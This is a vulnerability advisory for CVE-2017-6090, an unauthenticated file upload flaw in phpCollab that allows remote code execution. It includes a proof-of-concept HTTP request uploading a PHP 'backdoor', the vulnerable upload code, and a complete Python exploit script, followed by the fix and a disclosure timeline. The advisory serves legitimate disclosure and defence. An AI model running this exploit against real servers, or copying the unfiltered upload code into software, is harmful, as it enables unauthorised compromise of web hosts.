Description

PhpCollab is an open source web-based project management system, that enables collaboration across the Internet.

Arbitrary File Upload

The phpCollab code does not correctly filter uploaded file contents. An unauthenticated attacker may upload and execute arbitrary code.

CVE ID: CVE-2017-6090

Access Vector: remote

Security Risk: Critical

Vulnerability: CWE-434

CVSS Base Score: 10 (Critical)

CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Proof of Concept

The following HTTP request allows an attacker to upload a malicious php file, without authentication. Thus, a file named after $id.extension is created.

For example, a backdoor file can be reached at http://phpCollab.lan/logos_clients/1.php.

POST /clients/editclient.php?id=1&action=update HTTP/1.1
Host: phpCollab.lan
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------154934846911423734231554128137
Content-Length: 252

-----------------------------154934846911423734231554128137
Content-Disposition: form-data; name="upload"; filename="backdoor.php"
Content-Type: application/x-php

<?php phpinfo(); ?>

-----------------------------154934846911423734231554128137--

Vulnerable code

The vulnerable code is found in clients/editclient.php, line 63.

$extension = strtolower( substr( strrchr($_FILES['upload']['name'], ".") ,1) );
if(@move_uploaded_file($_FILES['upload']['tmp_name'], "../logos_clients/".$id.".$extension"))
{
  chmod("../logos_clients/".$id.".$extension",0666);
  $tmpquery = "UPDATE ".$tableCollab["organizations"]." SET extension_logo='$extension' WHERE id='$id'";
  connectSql("$tmpquery");
}

Exploit code

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import os
import sys
import requests

if __name__ == '__main__':
    if (len(sys.argv) != 4):
        print("Enter your target, userid and path for file upload like : python exploit.py http://www.phpCollabURL.lan 1 /tmp/test.php")
        sys.exit(1)

    target = "%s/clients/editclient.php?id=%s&action=update" % (sys.argv[1], sys.argv[2])
    print("[*] Trying to exploit with URL : %s..." % target)
    backdoor = {'upload': open(sys.argv[3], 'rb')}
    r = requests.post(target, files=backdoor)
    extension = os.path.splitext(sys.argv[3])[1]
    link = "%s/logos_clients/%s%s" % (sys.argv[1], sys.argv[2], extension )
    r = requests.get(link)
    if r.status_code == 200:
        print("[OK] Backdoor link : %s" % link)
    else:
        print("[FAIL]Problem (status:%s) (link:%s)" % (r.status_code, link))

Solution

Update to the latest version avalaible.

Affected versions

  • Version <= 2.5.1

Timeline (dd/mm/yyyy)

  • 27/08/2016 : Initial discovery.
  • 05/10/2016 : Initial contact.
  • 11/10/2016 : GPG Key exchange.
  • 19/10/2016 : Advisory sent to vendor.
  • 13/02/2017 : First fixes.
  • 15/02/2017 : Fixes validation by Sysdream.
  • 21/02/2017 : PhpCollab ask to wait before publish.
  • 21/06/2017 : New version has been released.
  • 29/09/2017 : Public disclosure.

Credits

  • Nicolas SERRA, Sysdream (n.serra -at- sysdream -dot- com)